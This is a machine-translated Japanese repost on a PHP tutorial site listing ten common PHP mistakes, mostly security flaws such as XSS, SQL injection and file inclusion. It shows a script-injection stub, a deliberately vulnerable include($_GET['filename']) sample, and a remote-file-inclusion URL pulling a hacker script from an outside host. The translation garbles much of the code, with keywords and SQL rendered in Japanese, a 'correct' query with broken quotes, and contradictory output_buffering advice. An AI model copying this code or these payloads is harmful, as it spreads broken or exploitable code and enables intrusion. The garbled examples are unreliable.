ホームページ > バックエンド開発 > PHPチュートリアル > PHP プログラマー必見_PHP チュートリアル

PHP プログラマー必見_PHP チュートリアル

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
リリース: 2016-07-13 17:09:11
オリジナル
904 人が閲覧しました

PHP プログラマーが犯す最も一般的な 10 の間違い (再投稿)
PHP は優れた Web 開発言語であり、柔軟な言語ですが、PHP プログラマーが何度も犯す間違いがいくつかあります。私は、PHP プログラマーが犯しやすい 10 個の間違いのリストを以下に作成しました。そのほとんどはセキュリティに関連しています。あなたがどんな間違いを犯したか見てみましょう

1. HTML エンティティを無視しないでください


基本的な常識: すべての信頼できない入力 (特にユーザーがフォームから送信したデータ) は出力前に変更する必要があります。

エコー $_GET['使用名'] ;


この例では次のように出力されます:

<script>/*管理者パスワードを変更または Cookie を設定するスクリプト*/</script>

これは、ユーザーが正しく入力していることを確認しない限り、明らかなセキュリティ リスクです。

修正方法:

「<」、「>」、「and」などを正しい HTML 表現 (<、>'、および ") に変換する必要があります。関数 htmlspecialchars と htmlentities() はまさにこれを行います。

正しい方法:

echo htmlspecialchars($_GET['ユーザー名'], ENT_QUOTES);


2. SQL 入力を気にしない
私はかつて、「SQL インジェクションを防ぐ最も簡単な方法 (php+mysql)」という記事でこの問題について説明し、簡単な方法を示しました。ある人は、すでに php.ini で magic_quotes が On に設定されているので、心配する必要はないと言いましたが、すべての入力が $_GET、$_POST、または $_COOKIE から来ているわけではありません。
修正方法:

SQL インジェクションを防ぐ最も簡単な方法 (php+mysql) と同様に、mysql_real_escape_string() 関数を使用することをお勧めします


正しいアプローチ:
$sql = "ユーザー設定を更新します
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>


3. HTTP ヘッダー関連関数の誤った使用: header()、session_start()、setcookie()
この警告に遭遇したことがありますか?「警告: ヘッダー情報を追加できません - ヘッダーはすでに送信されました [....]

Web ページがサーバーからダウンロードされるたびに、サーバーの出力はヘッダーと本文の 2 つの部分に分割されます。
ヘッダーには、Cookie などの非視覚的データが含まれています。常に頭が最初に到着します。テキスト部分には、ビジュアル HTML、画像、その他のデータが含まれます。
Output_buffering が Off に設定されている場合、出力がある前にすべての HTTP ヘッダー関連関数を呼び出す必要があります。問題は、ある環境で開発し、別の環境にデプロイすると、output_buffering 設定が異なる可能性があることです。その結果、リダイレクトが停止し、Cookie とセッションが正しく設定されませんでした...

修正方法:
出力する前に必ず http ヘッダー関連の関数を呼び出し、output_buffering = Off に設定してください

4. ファイルに安全でないデータが使用されていることが必須です
繰り返しますが、明示的に述べていないデータは信頼しないでください。 $_GET、$_POST、または $_COOKIE から取得したファイルを含めたり、要求したりしないでください。

例:
インデックス.php
//ヘッダー、設定、データベース接続などを含む
include($_GET['ファイル名']);
//フッターを含む
?>


すべてのハッカーが http://www.yourdomain.com/index.php?filename=anyfile.txt を使用できるようになりました
機密情報を取得するか、PHP スクリプトを実行します。


allow_url_fopen=On の場合、あなたは死んでいます:
この入力を試してください:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

これで、あなたの Web ページには http://www.youaredoomed.com/phphack.php の出力が含まれ、ハッカーはスパムの送信、パスワードの変更、ファイルの削除などを行うことができます。想像できるものなら何でも。


修正方法:
どのファイルを include ディレクティブまたは require ディレクティブに含めることができるかを制御する必要があります。

これは簡単ではありますが、包括的な解決策ではありません:
//許可されたファイルのみを含めます。
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['ファイル名']);
}
他{
exit('許可されません');
}
?>


5. 文法上の誤り
文法上の誤りには、非常に一般的なため、ここにリストする必要があるすべての語彙および文法上の誤りが含まれます。解決策は、PHP の構文を注意深く研究し、括弧、中括弧、セミコロン、または引用符を見逃さないように注意することです。また、メモ帳は使用せずに、適切なエディタを見つけてください。


6. オブジェクト指向をほとんどまたはまったく使用しない
多くのプロジェクトでは PHP のオブジェクト指向テクノロジが使用されていないため、コードのメンテナンスには非常に時間と労力がかかります。 PHP はますます多くのオブジェクト指向テクノロジをサポートしており、ますます改良されています。オブジェクト指向テクノロジを使用しない理由はありません。


7. フレームワークを使用しない
PHP プロジェクトの 95% は、作成、編集、リスト、削除という同じ 4 つのことを実行しています。これらの 4 つのことを実行するのに役立つ MVC フレームワークが多数あります。なぜそれらを使用しないのでしょうか。


8. PHPで既に利用可能な関数が分からない
PHP の中核には多くの関数が含まれています。多くのプログラマーは何度も車輪の再発明を繰り返します。多くの時間が無駄になりました。コーディングする前にGoogleでPHP mamualと検索してみると新しい発見があるかも知れません! PHP の exec() は、cmd シェルを実行し、実行結果の最後の行を文字列の形式で返すことができる強力な関数です。セキュリティ上の理由から、EscapeShellCmd() を使用できます


9. 古いバージョンの PHP を使用する

多くのプログラマーは依然として PHP4 を使用しています。PHP4 での開発では PHP の可能性を最大限に活用することができず、セキュリティ上のリスクが依然として存在します。 PHP5 に切り替えるには、それほど手間はかかりません。ほとんどの PHP4 プログラムは、ステートメントをほとんど変更せずに、またはまったく変更せずに PHP5 に移行できます。 http://www.nexen.net の調査によると、PHP サーバーの 12% のみが PHP5 を使用しているため、PHP 開発者の 88% は依然として PHP4 を使用しています。

10. 引用符を 2 回変換します

Web ページに「または」が表示されるのを見たことはありますか? これは通常、開発者の環境では magic_quotes がオフに設定されているのに対し、デプロイされたサーバーでは magic_quotes =on に設定されているためです。PHP では GET、POST、COOKIE のデータが複製されます。addslashes を実行すると、 ()
原文:
紐です

魔法の引用:
紐です
もう一度実行してください
追加スラッシュ():
文字列です

HTML出力:
紐です


もう 1 つの状況は、ユーザーが最初に間違ったログイン情報を入力すると、サーバーが間違った入力を検出した後、同じフォームを出力してユーザーに再入力を要求し、ユーザーの入力の意味が 2 回変わってしまうことです。

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/629759.html技術記事 PHP プログラマーが犯す 10 の最も一般的な間違い (再投稿) PHP は優れた Web 開発言語であり、柔軟な言語ですが、私は PHP プログラマーが何度も犯す間違いをいくつか見てきました。以下のリストを作成しました...
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
PHP 拡張子 intl
から 1970-01-01 08:00:00
0
0
0
phpのデータ取得?
から 1970-01-01 08:00:00
0
0
0
phpを上手に学ぶ方法
から 1970-01-01 08:00:00
0
0
0
PHP GET エラー レポート
から 1970-01-01 08:00:00
0
0
0
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート